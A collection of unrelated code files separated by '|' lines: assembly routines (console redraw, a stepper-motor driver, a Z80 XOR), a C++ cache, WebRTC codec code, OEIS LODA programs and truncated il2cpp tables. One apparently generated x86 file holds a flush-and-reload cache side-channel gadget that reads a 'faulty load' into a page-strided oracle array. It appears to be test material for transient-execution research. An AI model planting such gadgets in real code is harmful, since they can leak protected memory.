redraw_monitor_console_loop_x:
push r0
movz.8 r0, [r0]
call draw_font_tile_to_overlay
movz.8 r0, [standard_font_width]
add r1, r0
pop r0
inc r0
loop redraw_monitor_console_loop_x
pop r31
movz.8 r6, [standard_font_height]
add r2, r6
loop redraw_monitor_console_loop_y
pop r31
pop r6
pop r5
pop r4
pop r3
pop r2
pop r1
pop r0
ret
; redraw only the current line
; inputs:
; none
; outputs:
; none
redraw_monitor_console_line:
push r0
push r1
push r2
push r3
push r4
push r5
push r6
push r31
movz.8 r0, [MONITOR_CONSOLE_Y]
mul r0, MONITOR_CONSOLE_X_SIZE
add r0, MONITOR_CONSOLE_TEXT_BUF
movz.8 r1, [MONITOR_CONSOLE_Y]
mov r2, 16
mul r2, r1
add r2, 16
mov r1, 0
mov r3, TEXT_COLOR
mov r4, MONITOR_BACKGROUND_COLOR
mov r5, 31
mov r1, 0
mov r31, MONITOR_CONSOLE_X_SIZE
redraw_monitor_console_line_loop_x:
push r0
movz.8 r0, [r0]
call draw_font_tile_to_overlay
movz.8 r0, [standard_font_width]
add r1, r0
pop r0
inc r0
loop redraw_monitor_console_line_loop_x
pop r31
pop r6
pop r5
pop r4
pop r3
pop r2
pop r1
pop r0
ret
const MONITOR_CONSOLE_X: 0x03ED3FDB ; 1 byte
const MONITOR_CONSOLE_Y: 0x03ED3FDA ; 1 byte
const MONITOR_CONSOLE_TEXT_BUF: 0x03ED36CA ; 2320 bytes (80x29)
const MONITOR_CONSOLE_X_SIZE: 80
const MONITOR_CONSOLE_Y_SIZE: 29
|
;Performed By: Bilal Khan
; this is an example of out instruction.
; it writes values to virtual i/o port
; that controls the stepper-motor.
#start=stepper_motor.exe#
name "stepper"
#make_bin#
steps_before_direction_change = 20h ; 32 (decimal)
jmp start
; ========= data ===============
; bin data for clock-wise
; half-step rotation:
datcw db 0000_0110b
db 0000_0100b
db 0000_0011b
db 0000_0010b
; bin data for counter-clock-wise
; half-step rotation:
datccw db 0000_0011b
db 0000_0001b
db 0000_0110b
db 0000_0010b
; bin data for clock-wise
; full-step rotation:
datcw_fs db 0000_0001b
db 0000_0011b
db 0000_0110b
db 0000_0000b
; bin data for counter-clock-wise
; full-step rotation:
datccw_fs db 0000_0100b
db 0000_0110b
db 0000_0011b
db 0000_0000b
start:
mov bx, offset datcw ; start from clock-wise half-step.
mov si, 0
mov cx, 0 ; step counter
next_step:
; motor sets top bit when it's ready to accept new command
wait: in al, 7
test al, 10000000b
jz wait
mov al, [bx][si]
out 7, al
inc si
cmp si, 4
jb next_step
mov si, 0
inc cx
cmp cx, steps_before_direction_change
jb next_step
mov cx, 0
add bx, 4 ; next bin data
cmp bx, offset datccw_fs
jbe next_step
mov bx, offset datcw ; return to clock-wise half-step.
jmp next_step
|
; FASTCALL bitwise xor 32 version.
; Performs 32bit xor 32bit and returns the bitwise
; result DE,HL
; First operand in DE,HL 2nd operand into the stack
__BXOR32:
ld b, h
ld c, l ; BC <- HL
pop hl ; Return address
ex (sp), hl ; HL <- Lower part of 2nd Operand
ld a, b
xor h
ld b, a
ld a, c
xor l
ld c, a ; BC <- BC & HL
pop hl ; Return dddress
ex (sp), hl ; HL <- High part of 2nd Operand
ld a, d
xor h
ld d, a
ld a, e
xor l
ld e, a ; DE <- DE & HL
ld h, b
ld l, c ; HL <- BC ; Always return DE,HL pair regs
ret
|
#include "../headers/cacho.hpp"
lru_cache<std::string, std::string> cacho_lru(SIZE);
bool set(std::string key, std::string value)
{
try
{
cacho_lru.put(key, value);
return true;
}
catch(const std::exception& e)
{
std::cerr << e.what() << '\n';
return false;
}
}
bool exists(std::string key)
{
return cacho_lru.exists(key);
}
std::string get(std::string key)
{
try
{
return cacho_lru.get(key);
}
catch(const std::exception& e)
{
std::cerr << e.what() << '\n';
return "";
}
}
|
#ifndef TIMER_HPP
#define TIMER_HPP
#include <chrono>
#include <ctime>
#include <cstdlib>
class Timer
{
public:
Timer(size_t);
~Timer();
time_t
diff();
private:
const std::chrono::high_resolution_clock::time_point start_;
const size_t count_;
};
#endif
|
/*
* Copyright (c) 2012 The WebRTC project authors. All Rights Reserved.
*
* Use of this source code is governed by a BSD-style license
* that can be found in the LICENSE file in the root of the source
* tree. An additional intellectual property rights grant can be found
* in the file PATENTS. All contributing project authors may
* be found in the AUTHORS file in the root of the source tree.
*/
#include "api/video_codecs/video_codec.h"
#include <string.h>
#include <string>
#include "absl/strings/match.h"
#include "rtc_base/checks.h"
#include "rtc_base/stringutils.h"
namespace webrtc {
bool VideoCodecVP8::operator==(const VideoCodecVP8& other) const {
return (complexity == other.complexity &&
numberOfTemporalLayers == other.numberOfTemporalLayers &&
denoisingOn == other.denoisingOn &&
automaticResizeOn == other.automaticResizeOn &&
frameDroppingOn == other.frameDroppingOn &&
keyFrameInterval == other.keyFrameInterval);
}
bool VideoCodecVP9::operator==(const VideoCodecVP9& other) const {
return (complexity == other.complexity &&
numberOfTemporalLayers == other.numberOfTemporalLayers &&
denoisingOn == other.denoisingOn &&
frameDroppingOn == other.frameDroppingOn &&
keyFrameInterval == other.keyFrameInterval &&
adaptiveQpMode == other.adaptiveQpMode &&
automaticResizeOn == other.automaticResizeOn &&
numberOfSpatialLayers == other.numberOfSpatialLayers &&
flexibleMode == other.flexibleMode);
}
bool VideoCodecH264::operator==(const VideoCodecH264& other) const {
return (frameDroppingOn == other.frameDroppingOn &&
keyFrameInterval == other.keyFrameInterval &&
spsLen == other.spsLen && ppsLen == other.ppsLen &&
profile == other.profile &&
(spsLen == 0 || memcmp(spsData, other.spsData, spsLen) == 0) &&
(ppsLen == 0 || memcmp(ppsData, other.ppsData, ppsLen) == 0));
}
bool SpatialLayer::operator==(const SpatialLayer& other) const {
return (width == other.width && height == other.height &&
numberOfTemporalLayers == other.numberOfTemporalLayers &&
maxBitrate == other.maxBitrate &&
targetBitrate == other.targetBitrate &&
minBitrate == other.minBitrate && qpMax == other.qpMax &&
active == other.active);
}
VideoCodec::VideoCodec()
: codecType(kVideoCodecGeneric),
plType(0),
width(0),
height(0),
startBitrate(0),
maxBitrate(0),
minBitrate(0),
targetBitrate(0),
maxFramerate(0),
active(true),
qpMax(0),
numberOfSimulcastStreams(0),
simulcastStream(),
spatialLayers(),
mode(VideoCodecMode::kRealtimeVideo),
expect_encode_from_texture(false),
timing_frame_thresholds({0, 0}),
codec_specific_() {}
VideoCodecVP8* VideoCodec::VP8() {
RTC_DCHECK_EQ(codecType, kVideoCodecVP8);
return &codec_specific_.VP8;
}
const VideoCodecVP8& VideoCodec::VP8() const {
RTC_DCHECK_EQ(codecType, kVideoCodecVP8);
return codec_specific_.VP8;
}
VideoCodecVP9* VideoCodec::VP9() {
RTC_DCHECK_EQ(codecType, kVideoCodecVP9);
return &codec_specific_.VP9;
}
const VideoCodecVP9& VideoCodec::VP9() const {
RTC_DCHECK_EQ(codecType, kVideoCodecVP9);
return codec_specific_.VP9;
}
VideoCodecH264* VideoCodec::H264() {
RTC_DCHECK_EQ(codecType, kVideoCodecH264);
return &codec_specific_.H264;
}
const VideoCodecH264& VideoCodec::H264() const {
RTC_DCHECK_EQ(codecType, kVideoCodecH264);
return codec_specific_.H264;
}
static const char* kPayloadNameVp8 = "VP8";
static const char* kPayloadNameVp9 = "VP9";
static const char* kPayloadNameH264 = "H264";
static const char* kPayloadNameI420 = "I420";
static const char* kPayloadNameGeneric = "Generic";
static const char* kPayloadNameMultiplex = "Multiplex";
const char* CodecTypeToPayloadString(VideoCodecType type) {
switch (type) {
case kVideoCodecVP8:
return kPayloadNameVp8;
case kVideoCodecVP9:
return kPayloadNameVp9;
case kVideoCodecH264:
return kPayloadNameH264;
case kVideoCodecI420:
return kPayloadNameI420;
// Other codecs default to generic.
default:
return kPayloadNameGeneric;
}
}
VideoCodecType PayloadStringToCodecType(const std::string& name) {
if (absl::EqualsIgnoreCase(name, kPayloadNameVp8))
return kVideoCodecVP8;
if (absl::EqualsIgnoreCase(name, kPayloadNameVp9))
return kVideoCodecVP9;
if (absl::EqualsIgnoreCase(name, kPayloadNameH264))
return kVideoCodecH264;
if (absl::EqualsIgnoreCase(name, kPayloadNameI420))
return kVideoCodecI420;
if (absl::EqualsIgnoreCase(name, kPayloadNameMultiplex))
return kVideoCodecMultiplex;
return kVideoCodecGeneric;
}
} // namespace webrtc
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r13
push %r8
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0xa1d7, %rsi
lea addresses_WT_ht+0x10edd, %rdi
clflush (%rdi)
nop
xor %r9, %r9
mov $119, %rcx
rep movsb
add $40125, %rdi
lea addresses_normal_ht+0x999d, %rdi
nop
dec %r10
movl $0x61626364, (%rdi)
inc %r11
lea addresses_WT_ht+0x63d5, %rsi
nop
nop
nop
xor %r8, %r8
mov (%rsi), %r9d
nop
nop
nop
and %r10, %r10
lea addresses_A_ht+0x945d, %r9
nop
nop
sub $55021, %rcx
mov $0x6162636465666768, %rdi
movq %rdi, (%r9)
nop
inc %r11
lea addresses_WC_ht+0x1e8dd, %rcx
nop
inc %r11
movb $0x61, (%rcx)
nop
nop
nop
nop
nop
xor %r11, %r11
lea addresses_WC_ht+0x142dd, %rdi
nop
nop
sub %r10, %r10
mov $0x6162636465666768, %r9
movq %r9, %xmm7
vmovups %ymm7, (%rdi)
nop
and %r8, %r8
lea addresses_A_ht+0x102dd, %r11
nop
and %r8, %r8
mov $0x6162636465666768, %rsi
movq %rsi, (%r11)
and %r9, %r9
lea addresses_UC_ht+0x14cdd, %rsi
lea addresses_WT_ht+0x129fd, %rdi
clflush (%rdi)
nop
nop
sub %r10, %r10
mov $63, %rcx
rep movsw
nop
nop
nop
add %r10, %r10
lea addresses_normal_ht+0x17b1d, %r9
nop
lfence
movb (%r9), %r10b
nop
nop
nop
add %rdi, %rdi
lea addresses_WC_ht+0x1c8dd, %r10
nop
nop
nop
nop
sub %rcx, %rcx
movb (%r10), %r9b
nop
nop
add %rdi, %rdi
lea addresses_normal_ht+0xa15d, %rcx
nop
xor %r8, %r8
movb $0x61, (%rcx)
nop
nop
add %r10, %r10
lea addresses_UC_ht+0x517d, %rcx
nop
xor $38834, %r10
mov (%rcx), %esi
add %r9, %r9
lea addresses_UC_ht+0x100dd, %r8
nop
and %r9, %r9
mov (%r8), %edi
nop
sub %rcx, %rcx
lea addresses_WC_ht+0xc58f, %rsi
lea addresses_normal_ht+0x8edd, %rdi
nop
nop
add %r11, %r11
mov $17, %rcx
rep movsb
cmp %r8, %r8
lea addresses_normal_ht+0x3cdd, %rsi
lea addresses_D_ht+0x52cd, %rdi
clflush (%rsi)
cmp $515, %r13
mov $65, %rcx
rep movsl
and %rcx, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r13
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r14
push %r9
push %rbx
push %rsi
// Store
mov $0x59d, %rsi
nop
nop
nop
nop
and %rbx, %rbx
mov $0x5152535455565758, %r9
movq %r9, %xmm0
vmovntdq %ymm0, (%rsi)
xor $61247, %r13
// Store
lea addresses_RW+0xb4bd, %rbx
clflush (%rbx)
nop
nop
nop
nop
dec %r14
mov $0x5152535455565758, %r9
movq %r9, %xmm0
movups %xmm0, (%rbx)
sub $59416, %r14
// Load
lea addresses_US+0x1f2dd, %r14
cmp $38150, %r11
mov (%r14), %r9w
xor %r11, %r11
// Load
lea addresses_WT+0x1d8e5, %r14
cmp $51532, %r13
movb (%r14), %r9b
nop
xor $22266, %r9
// Load
lea addresses_normal+0x5a1d, %r13
nop
nop
nop
sub %rsi, %rsi
movb (%r13), %r12b
nop
nop
nop
nop
add %r9, %r9
// Store
mov $0x566d6d0000000cdd, %r14
dec %r11
mov $0x5152535455565758, %rbx
movq %rbx, %xmm5
vmovups %ymm5, (%r14)
nop
sub %rbx, %rbx
// Faulty Load
lea addresses_A+0x88dd, %rbx
clflush (%rbx)
nop
nop
nop
xor %r9, %r9
vmovaps (%rbx), %ymm2
vextracti128 $0, %ymm2, %xmm2
vpextrq $1, %xmm2, %rsi
lea oracles, %r12
and $0xff, %rsi
shlq $12, %rsi
mov (%r12,%rsi,1), %rsi
pop %rsi
pop %rbx
pop %r9
pop %r14
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'size': 32, 'AVXalign': False, 'NT': True, 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_US', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': True, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': True}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': True}}
{'00': 3}
00 00 00
*/
|
; A103128: a(n) = floor(sqrt(2n-1)).
; 1,1,2,2,3,3,3,3,4,4,4,4,5,5,5,5,5,5,6,6,6,6,6,6,7,7,7,7,7,7,7,7,8,8,8,8,8,8,8,8,9,9,9,9,9,9,9,9,9,9,10,10,10,10,10,10,10,10,10,10,11,11,11,11,11,11,11,11,11,11,11,11,12,12,12,12,12,12,12,12,12,12,12,12,13,13,13,13,13,13,13,13,13,13,13,13,13,13,14,14,14,14,14,14,14,14,14,14,14,14,14,14,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,15,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,22,22,22,22,22,22,22,22
mov $1,1
lpb $0
add $1,1
sub $0,$1
lpe
|
; A004676: Primes written in base 2.
; Submitted by Jon Maiga
; 10,11,101,111,1011,1101,10001,10011,10111,11101,11111,100101,101001,101011,101111,110101,111011,111101,1000011,1000111,1001001,1001111,1010011,1011001,1100001,1100101,1100111,1101011,1101101,1110001,1111111,10000011,10001001,10001011,10010101,10010111,10011101,10100011,10100111,10101101,10110011,10110101,10111111,11000001,11000101,11000111,11010011,11011111,11100011,11100101,11101001,11101111,11110001,11111011,100000001,100000111,100001101,100001111,100010101,100011001,100011011,100100101
seq $0,40 ; The prime numbers.
seq $0,7088 ; The binary numbers (or binary words, or binary vectors, or binary expansion of n): numbers written in base 2.
|
#include "il2cpp-config.h"
#ifndef _MSC_VER
# include <alloca.h>
#else
# include <malloc.h>
#endif
#include <cstring>
#include <string.h>
#include <stdio.h>
#include <cmath>
#include <limits>
#include <assert.h>
#include "class-internals.h"
#include "codegen/il2cpp-codegen.h"
#include "System_System_Collections_Specialized_NameObjectCol633582367.h"
#include "System_System_Collections_Specialized_NameValueCol3047564564.h"
#include "System_System_ComponentModel_EditorBrowsableAttrib1050682502.h"
#include "System_System_ComponentModel_EditorBrowsableState373498655.h"
#include "System_System_ComponentModel_TypeConverter745995970.h"
#include "System_System_ComponentModel_TypeConverterAttribute252469870.h"
#include "System_System_Net_Security_AuthenticationLevel2424130044.h"
#include "System_System_Net_Security_SslPolicyErrors1928581431.h"
#include "System_System_Net_Sockets_AddressFamily303362630.h"
#include "System_System_Net_DefaultCertificatePolicy2545332216.h"
#include "System_System_Net_FileWebRequest1571840111.h"
#include "System_System_Net_FileWebRequestCreator1109072211.h"
#include "System_System_Net_FtpRequestCreator3711983251.h"
#include "System_System_Net_FtpWebRequest3120721823.h"
#include "System_System_Net_GlobalProxySelection2251180943.h"
#include "System_System_Net_HttpRequestCreator1416559589.h"
#include "System_System_Net_HttpVersion1276659706.h"
#include "System_System_Net_HttpWebRequest1951404513.h"
#include "System_System_Net_IPAddress1399971723.h"
#include "System_System_Net_IPv6Address2596635879.h"
#include "System_System_Net_SecurityProtocolType3099771628.h"
#include "System_System_Net_ServicePoint2765344313.h"
#include "System_System_Net_ServicePointManager745663000.h"
#include "System_System_Net_ServicePointManager_SPKey1552752485.h"
#include "System_System_Net_WebHeaderCollection3028142837.h"
#include "System_System_Net_WebProxy1169192840.h"
#include "System_System_Net_WebRequest1365124353.h"
#include "System_System_Security_Cryptography_X509Certificat2370524385.h"
#include "System_System_Security_Cryptography_X509Certificates_P870392.h"
#include "System_System_Security_Cryptography_X509Certificat1570828128.h"
#include "System_System_Security_Cryptography_X509Certificat2183514610.h"
#include "System_System_Security_Cryptography_X509Certificate452415348.h"
#include "System_System_Security_Cryptography_X509Certificat2005802885.h"
#include "System_System_Security_Cryptography_X509Certificat1562873317.h"
#include "System_System_Security_Cryptography_X509Certificat4056456767.h"
#include "System_System_Security_Cryptography_X509Certificat1108969367.h"
#include "System_System_Security_Cryptography_X509Certificat2356134957.h"
#include "System_System_Security_Cryptography_X509Certificat1197680765.h"
#include "System_System_Security_Cryptography_X509Certificat1208230922.h"
#include "System_System_Security_Cryptography_X509Certificate777637347.h"
#include "System_System_Security_Cryptography_X509Certificate528874471.h"
#include "System_System_Security_Cryptography_X509Certificat2081831987.h"
#include "System_System_Security_Cryptography_X509Certificat3304975821.h"
#include "System_System_Security_Cryptography_X509Certificat3452126517.h"
#include "System_System_Security_Cryptography_X509Certificat4278378721.h"
#include "System_System_Security_Cryptography_X509Certificate480677120.h"
#include "System_System_Security_Cryptography_X509Certificat2099881051.h"
#include "System_System_Security_Cryptography_X509Certificat1320896183.h"
#include "System_System_Security_Cryptography_X509Certificate650873211.h"
#include "System_System_Security_Cryptography_X509Certificat3763443773.h"
#include "System_System_Security_Cryptography_X509Certificat3221716179.h"
#include "System_System_Security_Cryptography_X509Certificat1038124237.h"
#include "System_System_Security_Cryptography_X509Certificat2461349531.h"
#include "System_System_Security_Cryptography_X509Certificat2669466891.h"
#include "System_System_Security_Cryptography_X509Certificat2166064554.h"
#include "System_System_Security_Cryptography_X509Certificat2065307963.h"
#include "System_System_Security_Cryptography_X509Certificat1617430119.h"
#include "System_System_Security_Cryptography_X509Certificat2508879999.h"
#include "System_System_Security_Cryptography_X509Certificate110301003.h"
#include "System_System_Security_Cryptography_X509Certificat2169036324.h"
#include "System_System_Security_Cryptography_AsnDecodeStatu1962003286.h"
#include "System_System_Security_Cryptography_AsnEncodedData463456204.h"
#include "System_System_Security_Cryptography_Oid3221867120.h"
#include "System_System_Security_Cryptography_OidCollection3790243618.h"
#include "System_System_Security_Cryptography_OidEnumerator3674631724.h"
#include "System_System_Text_RegularExpressions_BaseMachine4008011478.h"
#include "System_System_Text_RegularExpressions_Capture4157900610.h"
#include "System_System_Text_RegularExpressions_CaptureColle1671345504.h"
#include "System_System_Text_RegularExpressions_Group3761430853.h"
#include "System_System_Text_RegularExpressions_GroupCollecti939014605.h"
#include "System_System_Text_RegularExpressions_Match3164245899.h"
#include "System_System_Text_RegularExpressions_MatchCollect3718216671.h"
#include "System_System_Text_RegularExpressions_MatchCollecti501456973.h"
#include "System_System_Text_RegularExpressions_Regex1803876613.h"
#include "System_System_Text_RegularExpressions_RegexOptions2418259727.h"
#include "System_System_Text_RegularExpressions_OpCode586571952.h"
#include "System_System_Text_RegularExpressions_OpFlags378191910.h"
#include "System_System_Text_RegularExpressions_Position3781184359.h"
#include "System_System_Text_RegularExpressions_FactoryCache2051534610.h"
#include "System_System_Text_RegularExpressions_FactoryCache_655155419.h"
#include "System_System_Text_RegularExpressions_MRUList33178162.h"
#include "System_System_Text_RegularExpressions_MRUList_Node1107172180.h"
#include "System_System_Text_RegularExpressions_Category1984577050.h"
#include "System_System_Text_RegularExpressions_CategoryUtil3840220623.h"
#include "System_System_Text_RegularExpressions_LinkRef2090853131.h"
#include "System_System_Text_RegularExpressions_InterpreterFa556462562.h"
#include "System_System_Text_RegularExpressions_PatternCompil637049905.h"
#include "System_System_Text_RegularExpressions_PatternCompi3979537293.h"
#include "System_System_Text_RegularExpressions_PatternCompi3337276394.h"
#include "System_System_Text_RegularExpressions_LinkStack954792760.h"
#include "System_System_Text_RegularExpressions_Mark2724874473.h"
#include "System_System_Text_RegularExpressions_Interpreter3731288230.h"
#include "System_System_Text_RegularExpressions_Interpreter_I273560425.h"
#ifdef __clang__
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Winvalid-offsetof"
#pragma clang diagnostic ignored "-Wunused-variable"
#endif
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize900 = { sizeof (KeysCollection_t633582367), -1, 0, 0 };
extern const int32_t g_FieldOffsetTable900[1] =
{
KeysCollection_t633582367::get_offset_of_m_collection_0(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize901 = { sizeof (NameValueCollection_t3047564564), -1, 0, 0 };
extern const int32_t g_FieldOffsetTable901[2] =
{
NameValueCollection_t3047564564::get_offset_of_cachedAllKeys_10(),
NameValueCollection_t3047564564::get_offset_of_cachedAll_11(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize902 = { sizeof (EditorBrowsableAttribute_t1050682502), -1, 0, 0 };
extern const int32_t g_FieldOffsetTable902[1] =
{
EditorBrowsableAttribute_t1050682502::get_offset_of_state_0(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize903 = { sizeof (EditorBrowsableState_t373498655)+ sizeof (Il2CppObject), sizeof(int32_t), 0, 0 };
extern const int32_t g_FieldOffsetTable903[4] =
{
EditorBrowsableState_t373498655::get_offset_of_value___1() + static_cast<int32_t>(sizeof(Il2CppObject)),
0,
0,
0,
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize904 = { sizeof (TypeConverter_t745995970), -1, 0, 0 };
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize905 = { sizeof (TypeConverterAttribute_t252469870), -1, sizeof(TypeConverterAttribute_t252469870_StaticFields), 0 };
extern const int32_t g_FieldOffsetTable905[2] =
{
TypeConverterAttribute_t252469870_StaticFields::get_offset_of_Default_0(),
TypeConverterAttribute_t252469870::get_offset_of_converter_type_1(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize906 = { sizeof (AuthenticationLevel_t2424130044)+ sizeof (Il2CppObject), sizeof(int32_t), 0, 0 };
extern const int32_t g_FieldOffsetTable906[4] =
{
AuthenticationLevel_t2424130044::get_offset_of_value___1() + static_cast<int32_t>(sizeof(Il2CppObject)),
0,
0,
0,
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize907 = { sizeof (SslPolicyErrors_t1928581431)+ sizeof (Il2CppObject), sizeof(int32_t), 0, 0 };
extern const int32_t g_FieldOffsetTable907[5] =
{
SslPolicyErrors_t1928581431::get_offset_of_value___1() + static_cast<int32_t>(sizeof(Il2CppObject)),
0,
0,
0,
0,
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize908 = { sizeof (AddressFamily_t303362630)+ sizeof (Il2CppObject), sizeof(int32_t), 0, 0 };
extern const int32_t g_FieldOffsetTable908[32] =
{
AddressFamily_t303362630::get_offset_of_value___1() + static_cast<int32_t>(sizeof(Il2CppObject)),
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize909 = { sizeof (DefaultCertificatePolicy_t2545332216), -1, 0, 0 };
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize910 = { sizeof (FileWebRequest_t1571840111), -1, 0, 0 };
extern const int32_t g_FieldOffsetTable910[9] =
{
FileWebRequest_t1571840111::get_offset_of_uri_6(),
FileWebRequest_t1571840111::get_offset_of_webHeaders_7(),
FileWebRequest_t1571840111::get_offset_of_connectionGroup_8(),
FileWebRequest_t1571840111::get_offset_of_contentLength_9(),
FileWebRequest_t1571840111::get_offset_of_fileAccess_10(),
FileWebRequest_t1571840111::get_offset_of_method_11(),
FileWebRequest_t1571840111::get_offset_of_proxy_12(),
FileWebRequest_t1571840111::get_offset_of_preAuthenticate_13(),
FileWebRequest_t1571840111::get_offset_of_timeout_14(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize911 = { sizeof (FileWebRequestCreator_t1109072211), -1, 0, 0 };
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize912 = { sizeof (FtpRequestCreator_t3711983251), -1, 0, 0 };
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize913 = { sizeof (FtpWebRequest_t3120721823), -1, sizeof(FtpWebRequest_t3120721823_StaticFields), 0 };
extern const int32_t g_FieldOffsetTable913[11] =
{
FtpWebRequest_t3120721823::get_offset_of_requestUri_6(),
FtpWebRequest_t3120721823::get_offset_of_proxy_7(),
FtpWebRequest_t3120721823::get_offset_of_timeout_8(),
FtpWebRequest_t3120721823::get_offset_of_rwTimeout_9(),
FtpWebRequest_t3120721823::get_offset_of_binary_10(),
FtpWebRequest_t3120721823::get_offset_of_usePassive_11(),
FtpWebRequest_t3120721823::get_offset_of_method_12(),
FtpWebRequest_t3120721823::get_offset_of_locker_13(),
FtpWebRequest_t3120721823_StaticFields::get_offset_of_supportedCommands_14(),
FtpWebRequest_t3120721823::get_offset_of_callback_15(),
FtpWebRequest_t3120721823_StaticFields::get_offset_of_U3CU3Ef__amU24cache1C_16(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize914 = { sizeof (GlobalProxySelection_t2251180943), -1, 0, 0 };
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize915 = { sizeof (HttpRequestCreator_t1416559589), -1, 0, 0 };
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize916 = { sizeof (HttpVersion_t1276659706), -1, sizeof(HttpVersion_t1276659706_StaticFields), 0 };
extern const int32_t g_FieldOffsetTable916[2] =
{
HttpVersion_t1276659706_StaticFields::get_offset_of_Version10_0(),
HttpVersion_t1276659706_StaticFields::get_offset_of_Version11_1(),
};
extern const Il2CppTypeDefinitionSizes g_typeDefinitionSize917 = { sizeof (HttpWebRequest_t1951404513), -1, sizeof(HttpWebRequest_t1951404513_StaticFields), 0 };
extern const int32_t g_FieldOffsetTable917[24] =
{
HttpWebRequest_t1951404513::get_offset_of_requestUri_6(),
HttpWebRequest_t1951404513::get_offset_of_actualUri_7(),
HttpWebRequest_t1951404513::get_offset_of_hostChanged_8(),
HttpWebRequest_t1951404513::get_offset_of_allowAutoRedirect_9(),
HttpWebRequest_t1951404513::get_offset_of_allowBuffering_10(),
HttpWebRequest_t1951404513::get_offset_of_certificates_11(),
HttpWebRequest_t1951404513::get_offset_of_connectionGroup_12(),
HttpWebRequest_t1951404513::get_offset_of_contentLength_13(),
HttpWebRequest_t1951404513::get_offset_of_webHeaders_14(),
